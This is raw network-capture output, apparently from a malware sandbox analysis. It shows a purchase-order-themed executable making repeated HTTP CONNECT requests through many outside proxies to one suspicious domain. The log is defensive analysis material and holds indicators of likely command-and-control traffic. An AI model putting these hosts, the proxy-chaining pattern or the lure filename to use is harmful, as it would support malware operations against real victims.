Mar 11, 2024 16:39:59.676950932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.893318892 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1746	192.168.2.10	53862	69.61.200.104	36181	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.646522045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.289181948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1747	192.168.2.10	51718	203.76.103.117	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.762160063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1748	192.168.2.10	55201	175.183.82.221	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.762362003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1749	192.168.2.10	55206	119.3.215.41	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.769438028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1750	192.168.2.10	55210	203.222.24.36	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.769439936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1751	192.168.2.10	51902	103.176.116.109	83	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.928211927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.194417953 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1752	192.168.2.10	55152	5.182.39.25	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.928965092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.004668951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.010612965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.098507881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.184905052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1753	192.168.2.10	55207	103.153.154.6	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.019252062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1754	192.168.2.10	53714	193.200.151.69	32777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.019865990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1755	192.168.2.10	53818	147.182.194.76	29703	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.021496058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.176454067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.286035061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.289494991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.488799095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1756	192.168.2.10	51931	148.72.23.56	4833	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.035130978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.176453114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.286015987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.289515018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.488929033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.488770962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.582552910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1757	192.168.2.10	55209	45.125.222.97	47239	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.035238981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1758	192.168.2.10	51901	5.10.249.159	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.035320997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1759	192.168.2.10	53652	148.66.130.53	8268	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.035320997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.207729101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.382272959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.411283970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.410693884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1760	192.168.2.10	51970	146.19.106.42	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.037744999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1761	192.168.2.10	51981	66.228.33.190	44809	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.038019896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.176544905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.286032915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.289509058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.488805056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.489773035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.582551003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:06.582510948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:54.707544088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1762	192.168.2.10	55094	42.49.148.167	9001	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.047276974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.207727909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.528229952 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1763	192.168.2.10	54304	192.252.216.81	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.059243917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1764	192.168.2.10	55164	62.122.201.246	50129	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.059572935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1765	192.168.2.10	53709	31.220.78.244	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.070197105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.207829952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.382275105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.411287069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.410716057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.410696983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.410681963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:06.551356077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1766	192.168.2.10	55212	184.185.2.12	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.070379972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1767	192.168.2.10	55025	117.160.250.131	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.071002007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.681876898 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:54 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1768	192.168.2.10	53922	43.133.10.165	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.074274063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.661227942 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1769	192.168.2.10	53927	212.47.245.57	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.077357054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.207830906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.382347107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
